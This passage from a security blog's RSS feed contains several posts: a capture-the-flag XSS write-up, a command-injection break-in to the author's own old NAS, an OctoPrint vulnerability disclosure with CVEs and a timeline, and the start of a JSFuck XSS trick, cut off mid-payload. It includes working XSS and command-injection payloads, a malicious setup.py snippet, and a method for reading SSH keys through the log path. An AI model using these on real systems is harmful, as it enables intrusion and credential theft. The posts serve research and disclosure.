&lt;p&gt;The final goal is to alter the DOM content, which is generated from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;devSettings[root]&lt;/code&gt; object:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;nx&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;mount&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;devSettings&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CustomizedApp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;appConfig&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;window-name&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;appConfig&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;window-content&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;options&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;appConfig&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;window-toolbar&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;appConfig&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;window-statusbar&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}})&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;appendChild&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;devSettings&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;It took me a while to search for the right parameter to overwrite but finally I found that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;innerHTML&lt;/code&gt; of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;settings[root][ownerDocument][all][0]&lt;/code&gt; object can be overwritten and results in HTML code injection into the webpage. The last thing to do, was to add the bypass we found in the first place, to omit the sanitization and inject a malicious script to the webpage. The final payload looked like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://challenge-0422.intigriti.io/challenge/Window Maker.html?config[window-toolbar][constructor][prototype][1]=8080&amp;amp;settings[root][ownerDocument][all][0][innerHTML][]=%3Cinput%20autofocus%20onfocus%3Dalert%28document%2Edomain%29%3E
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When we open the above URL we could see that an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alert()&lt;/code&gt; function was triggered thus completing the challenge.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/intigriti6.png&quot; alt=&quot;intigriti6_noborder&quot; /&gt;&lt;/p&gt;
</description>
          <pubDate>Sun, 24 Apr 2022 11:00:00 +0000</pubDate>
          <link>https://www.brzozowski.io/web-applications/2022/04/24/intigritis-april-xss-challenge-writeup.html</link>
          <guid isPermaLink="true">https://www.brzozowski.io/web-applications/2022/04/24/intigritis-april-xss-challenge-writeup.html</guid>
          
          
          <category>web-applications</category>
          
        </item>
      
    
      
        <item>
          <title>Hacking into NAS</title>
          <description>&lt;p&gt;&lt;img src=&quot;/static/img/posts/nas_logo.png&quot; alt=&quot;nas_logo&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Recently I decided to do a little cleanup in my computer stuff cabinet and found my old NAS (Network Attached Storage) that I’ve beed using some time ago. The device was a Thecus N299 - a basic model capable of running two 2,5” HDDs in a RAID matrix. As the support for this device ended in 2007 I was asking myself why I was keeping it around for so long.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/nas1.jpg&quot; alt=&quot;nas1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I booted up the NAS and checked if there are any files I want to backup before throwing the NAS out. Unfortunatelly the credentials I had saved did not work and the NAS didn’t want to let me in.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/nas2.png&quot; alt=&quot;nas2&quot; /&gt;
&lt;img src=&quot;/static/img/posts/nas3.png&quot; alt=&quot;nas3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I thought to myself that I can try to hack my way into the device and treat this as a challenge. Wasting no time I started Burp and proxied all the web application traffic through it. After fuzzing one of the CGI scripts, more precisely &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nas.cgi&lt;/code&gt; was returning some error messages upon fuzzing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;newFolder&lt;/code&gt; parameter.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/nas4.png&quot; alt=&quot;nas4&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This looked like a promising command injection, so I tried the following payload to confirm if the code gets executed.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;ping 192.168.1.27 &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; 10&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;When I checked on the Wireshark running in the background, I could see that the device was indeed sending ICMP packets to my host!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/nas5.png&quot; alt=&quot;nas5&quot; /&gt;
&lt;img src=&quot;/static/img/posts/nas6.png&quot; alt=&quot;nas6&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As it was possible to achieve code execution I tried to establish a shell connection with the NAS to get access to my files. However every paylaod I tried ended up not connecting to my listener or the bind shell was not executing properly. I decided to change my approach and instead connecting to the device I tried to save the output of the commands in a text file on the server side and read the output manually after the execution. I sent a simple &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ls&lt;/code&gt; payload with ouput redirected to &lt;em&gt;pwned.txt&lt;/em&gt; to the server and checked the result.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/nas7.png&quot; alt=&quot;nas7&quot; /&gt;
&lt;img src=&quot;/static/img/posts/nas8.png&quot; alt=&quot;nas8&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Fortunately the file listing was echoed to the file without any issues. Then I tried to check what user was the web application running on by sending the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id&lt;/code&gt; command. When I checked the contents of the output file, I was pleased to see that the commands are executed with root privileges :sunglasses:.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/nas9.png&quot; alt=&quot;nas9&quot; /&gt;
&lt;img src=&quot;/static/img/posts/nas10.png&quot; alt=&quot;nas10&quot; /&gt;&lt;/p&gt;

&lt;p&gt;From this point I could do everything I wanted on the system, including reseting password for the web gui, and accessing files I wanted to backup.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/nas11.png&quot; alt=&quot;nas11&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Apart from the command injection, the device has other vulnerabilities and werid quirks that have been used back in the 2007 such as session cookies in the HTTP parameters and storing session data in publicly accessible directory. With that in mind I will be even more happy to throw it into the trash.&lt;/p&gt;

&lt;h1 id=&quot;references&quot;&gt;References:&lt;/h1&gt;
&lt;ol&gt;
  &lt;li&gt;http://www.thecus.com/product.php?PROD_ID=11&lt;/li&gt;
&lt;/ol&gt;
</description>
          <pubDate>Mon, 21 Jun 2021 10:00:00 +0000</pubDate>
          <link>https://www.brzozowski.io/web-applications/2021/06/21/hacking-into-nas.html</link>
          <guid isPermaLink="true">https://www.brzozowski.io/web-applications/2021/06/21/hacking-into-nas.html</guid>
          
          
          <category>web-applications</category>
          
        </item>
      
    
      
        <item>
          <title>The (in)secure story of OctoPrint</title>
          <description>&lt;p&gt;&lt;img src=&quot;/static/img/posts/octoprint_logo.png&quot; alt=&quot;octoprint logo&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;tldr&quot;&gt;TL;DR&lt;/h1&gt;

&lt;p&gt;When an attacker gains access to publicly exposed and insecured OctoPrint panel he can execute commands on the host due to the way the application is designed. In order to secure your OctoPrint instances &lt;strong&gt;NEVER&lt;/strong&gt; expose the host to the public access and if you have to, use VPN or other access control to secure it.&lt;/p&gt;

&lt;h1 id=&quot;the-application&quot;&gt;The application&lt;/h1&gt;

&lt;p&gt;One time when I was browsing github in a quest for finding an interesting software to fiddle a little bit with, I came across an application named OctoPrint. If you’re into 3D printing this name may ring a bell with you. That is because OctoPrint is a software that brings a nice and responsive web interface to your 3D printer, and from what I have deducted, it is pretty popular among the 3D printing community. In fact there is a ton of features that come along with this software such as project files upload, live print monitoring and even custom plugin installation. As you probably imagine this sounded as a juicy app to put on the workbench.&lt;/p&gt;

&lt;h1 id=&quot;first-blood&quot;&gt;First blood&lt;/h1&gt;

&lt;p&gt;Nice thing about OctoPrint is that it can be installed as a Python package, so the installation boils down to simple &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pip install OctoPrint&lt;/code&gt;. After the installation the web interface can be accessed on the default port 5000. Initial configuration allows us to set administrator password and set variables for 3D printer (which I obviously didn’t own at the moment of testing the app).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/octoprint1.png&quot; alt=&quot;octoprint1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After logging in to a privileged account (Administrator or Operator) there is quite a lot of web interface functionalities to fiddle with. What caught my attention was that the application allows you to install custom plugins as Python packages right from the web interface.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/octoprint2.png&quot; alt=&quot;octoprint2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;How dangerous installation of untrusted packages can be, was very nicely describen by &lt;strong&gt;Aryx&lt;/strong&gt; in his &lt;a href=&quot;https://www.ayrx.me/look-before-you-pip&quot;&gt;blog&lt;/a&gt; (not mentioning the package confusion vulnerabilities). By leveraging this we can easily modify an existing plugin and turn it into a malicious one. Then we can use it to execute system commands using Python &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;os&lt;/code&gt; library. By adding the following code to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setup.py&lt;/code&gt; file we can run commands on the host.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;os&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;echo &quot;pwned&quot; &amp;gt; /tmp/octoprint&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Then we have to upload the plugin.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/octoprint3.png&quot; alt=&quot;octoprint3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;And we have confirmed RCE.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/octoprint4.png&quot; alt=&quot;octoprint4&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So by altering plugin code we can achieve RCE on the host but this behaviour is quite obvious and is unavoidable when installing packages without any encryption on integrity check.&lt;/p&gt;

&lt;h1 id=&quot;kill-two-birds-with-one-stone&quot;&gt;Kill two birds with one stone&lt;/h1&gt;

&lt;p&gt;Another interesting functionality is that administrators can specify what commands can be run on the host, in order to reboot, or shut down the operating system, or to restart an OctoPrint instance.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/octoprint11.png&quot; alt=&quot;octoprint11&quot; /&gt;&lt;/p&gt;

&lt;p&gt;These commands are executed using Python &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;subprocess&lt;/code&gt; with shell argument set to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;True&lt;/code&gt; as can be seen on the following code snippet.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
 
       &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
           &lt;span class=&quot;c1&quot;&gt;# we run this with shell=True since we have to trust whatever
&lt;/span&gt;           &lt;span class=&quot;c1&quot;&gt;# our admin configured as command and since we want to allow
&lt;/span&gt;           &lt;span class=&quot;c1&quot;&gt;# shell-alike handling here...
&lt;/span&gt;           &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sarge&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
               &lt;span class=&quot;n&quot;&gt;command_spec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;command&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
               &lt;span class=&quot;n&quot;&gt;close_fds&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CLOSE_FDS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
               &lt;span class=&quot;n&quot;&gt;stdout&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sarge&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Capture&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;
               &lt;span class=&quot;n&quot;&gt;stderr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sarge&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Capture&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;
               &lt;span class=&quot;n&quot;&gt;shell&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
           &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
           &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This means that all commands passed to this function will be executed just as they would be typed in the terminal on host (more or less). Adding that such execution is triggered by a simple POST request to an API endpoint, with just a few lines of code we can write an exploit that executes reverse shell payload on the host.&lt;/p&gt;

&lt;script id=&quot;asciicast-FrFftTNJ5BiOvEZLrA5DQwTkt&quot; src=&quot;https://asciinema.org/a/FrFftTNJ5BiOvEZLrA5DQwTkt.js&quot; async=&quot;&quot;&gt;
&lt;/script&gt;

&lt;p&gt;This obviously poses security risk but to exploit this functionalities one must have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Administrator&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Operator&lt;/code&gt; privileges in the application. From attacker perspective this can be obtained by bypassing authentication or taking over an already created account.&lt;/p&gt;

&lt;h1 id=&quot;show-me-the-logz&quot;&gt;Show me the logz&lt;/h1&gt;

&lt;p&gt;It is nice to be able to debug stuff right from the web interface and OctoPrint gives us this opportunity to not only download and manage log files from the browser, but also to specify the exact path where the files are saved. By using OctoPrint interface we can configure all the logging paths.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/octoprint5.png&quot; alt=&quot;octoprint5&quot; /&gt;&lt;/p&gt;

&lt;p&gt;And list or download all the log files in the specified directory.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/octoprint6.png&quot; alt=&quot;octoprint6&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Interestingly, if the path is changed to any writable path, the application will gladly include all files in the directory and list them in the web interface. This wouldn’t be too bad at all however user can not only view the files but also download them. Considering this, it is possible to change the log folder to i.e. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/.ssh/&lt;/code&gt; directory and get access to SSH private keys.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/octoprint7.png&quot; alt=&quot;octoprint7&quot; /&gt;
&lt;img src=&quot;/static/img/posts/octoprint8.png&quot; alt=&quot;octoprint8&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If the host has SSH service running we could gain a stealthy and persistent access this way.&lt;/p&gt;

&lt;h1 id=&quot;not-existing-path-is-an-existing-problem&quot;&gt;Not existing path is an existing problem&lt;/h1&gt;

&lt;p&gt;After some fuzzing I eventually found a reflected XSS in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/files&lt;/code&gt; endpoint. The web server was behaving weird when a non existing file was requested or upon making a HTTP DELETE request to it. The path was echoed back together with an error message. The coffin to the nail was that the path was URL decoded which meant that injecting any type of bracket to the document body is possible. Simple &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;img&lt;/code&gt; payload did the trick.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;img&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;onerror=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;alert(1)&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/octoprint9.png&quot; alt=&quot;octoprint9&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;summary-and-security-reminder&quot;&gt;Summary and security reminder&lt;/h1&gt;

&lt;p&gt;When considering the severity of the above vulnerabilities we must keep in mind that OctoPrint software was never meant to be exposed to the web as it integrates with physical device that is 3D printer. The dangers of such integration were thoroughly described by &lt;strong&gt;@xme&lt;/strong&gt; in the following &lt;a href=&quot;https://isc.sans.edu/forums/diary/3D+Printers+in+The+Wild+What+Can+Go+Wrong/24044/&quot;&gt;article&lt;/a&gt;. At the time of writing this article over 500 hosts that can be identified as OctoPrint interfaces were listed on Shodan (though this number is slowly decreasing it is still a large number of potential targets).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/octoprint10.png&quot; alt=&quot;octoprint10&quot; /&gt;&lt;/p&gt;

&lt;p&gt;For maximum security never expose OctoPrint interface to the internet and deploy it locally on a host physically separated from your network i.e. Raspberry Pi. If the remote access is needed always make sure that the application is only accessible via VPN with strong security controls. If you want live preview or control over the printing consider using native OctoPrint plugins such as &lt;a href=&quot;https://github.com/fabianonline/OctoPrint-Telegram&quot;&gt;Telegram bot&lt;/a&gt; for monitoring the printing process.&lt;/p&gt;

&lt;h1 id=&quot;cves&quot;&gt;CVEs&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;CVE-2021-32561 - Reflected Cross-Site Scripting in the /api/files&lt;/li&gt;
  &lt;li&gt;CVE-2021-32560 - Local File Read&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;timeline&quot;&gt;Timeline&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;2.03.2021 - Vulnerabilities were reported to OctoPrint team&lt;/li&gt;
  &lt;li&gt;2.03.2021 - Received OctoPrint team response&lt;/li&gt;
  &lt;li&gt;3.03.2021 - CVEs were reserved for the identified vulnerabilities&lt;/li&gt;
  &lt;li&gt;27.04.2021 - Patch 1.6.0 was released addressing identified vulnerabilities&lt;/li&gt;
  &lt;li&gt;28.04.2021 - CVEs were published&lt;/li&gt;
  &lt;li&gt;10.05.2021 - The article describing identified vulnerabilites was released&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;references&quot;&gt;References:&lt;/h1&gt;
&lt;ol&gt;
  &lt;li&gt;https://isc.sans.edu/forums/diary/3D+Printers+in+The+Wild+What+Can+Go+Wrong/24044/&lt;/li&gt;
  &lt;li&gt;https://www.ayrx.me/look-before-you-pip&lt;/li&gt;
  &lt;li&gt;https://docs.octoprint.org/en/master/&lt;/li&gt;
  &lt;li&gt;https://docs.octoprint.org/en/master/&lt;/li&gt;
&lt;/ol&gt;
</description>
          <pubDate>Tue, 11 May 2021 08:00:00 +0000</pubDate>
          <link>https://www.brzozowski.io/web-applications/2021/05/11/the-insecure-story-of-octoprint.html</link>
          <guid isPermaLink="true">https://www.brzozowski.io/web-applications/2021/05/11/the-insecure-story-of-octoprint.html</guid>
          
          
          <category>web-applications</category>
          
        </item>
      
    
      
        <item>
          <title>Actually useful XSS trick</title>
          <description>&lt;p&gt;&lt;img src=&quot;/static/img/posts/jsfuck_logo.png&quot; alt=&quot;JSfuck logo&quot; /&gt;&lt;/p&gt;

&lt;p&gt;While doing research on one of the open source web applications I came across a Cross-Site Scripting trick that seems dumb but is actually useful in some situations. In this post I will describe such situation that is interesting enough and not so obvious to exploit.&lt;/p&gt;

&lt;h1 id=&quot;vulnerable-api&quot;&gt;Vulnerable API&lt;/h1&gt;

&lt;p&gt;As I mentioned the culprit of this post is a web application (for the greater good I cannot share any details about it) which I found vulnerable in some of it’s API endpoints. Long story short, the endpoint was designed to retrieve local files from the host but when file was not found it returned error message. Unfortunatelly the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Type&lt;/code&gt; header of the response was set to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;text/html&lt;/code&gt; not &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;text/plain&lt;/code&gt;. Add to this that the name of the missing file was returned in the error message and that the user can control the filename. All of this resulted in a pretty straightforward reflected XSS.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/xss1.png&quot; alt=&quot;xss_1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Normally I would stop any pentesting at this point but following the &lt;em&gt;POC||GTFO&lt;/em&gt; rule I decided to make a more “exploitable” payload than the standard &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;img&amp;gt;&lt;/code&gt; one (couldn’t use standard &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags as the CSP was blocking inline scripts :disappointed:).&lt;/p&gt;

&lt;h1 id=&quot;the--issue&quot;&gt;The / issue&lt;/h1&gt;

&lt;p&gt;Due to the properly configured CSP all the efforts to steal session cookies were unsuccessful so I decided to stick with redirecting user on other page and executing JavaScript code there. And here came the problem. As this was API it treated every slash &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/&lt;/code&gt; as a new path segment. So when I tried to redirect victim using stardard URL I ended up with this (the slashes in the protocol section of the URL messed the API path).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/xss2.png&quot; alt=&quot;xss_2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now I needed to find another way to pass URL to the JS &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;document.location&lt;/code&gt; variable. Passed string need to be without slashes and any encodings as the API was either decoding all my payloads or returning more errors upon submitting them.&lt;/p&gt;

&lt;h1 id=&quot;weird-but-useful-trick&quot;&gt;Weird but useful trick&lt;/h1&gt;

&lt;p&gt;Than I thought of &lt;a href=&quot;http://www.jsfuck.com/&quot;&gt;jsfuck&lt;/a&gt;. As we can read on it’s website:&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;JSFuck is an esoteric and educational programming style based on the atomic parts of JavaScript. It uses only six different characters to write and execute code.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Using JSFuck we can convert our desired JavaScript string to be represented by only six different characters and still be properly interpreted by the JS engine. Luckily slash is not one of these characters. We can use the JSFuck converter to represent our Burp Collaborator link using only brackets, exclamation marks and plus signs.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/xss3.png&quot; alt=&quot;xss_3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The final payload looked like this. Sure it’s not compact but at least its working :smiley:.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre 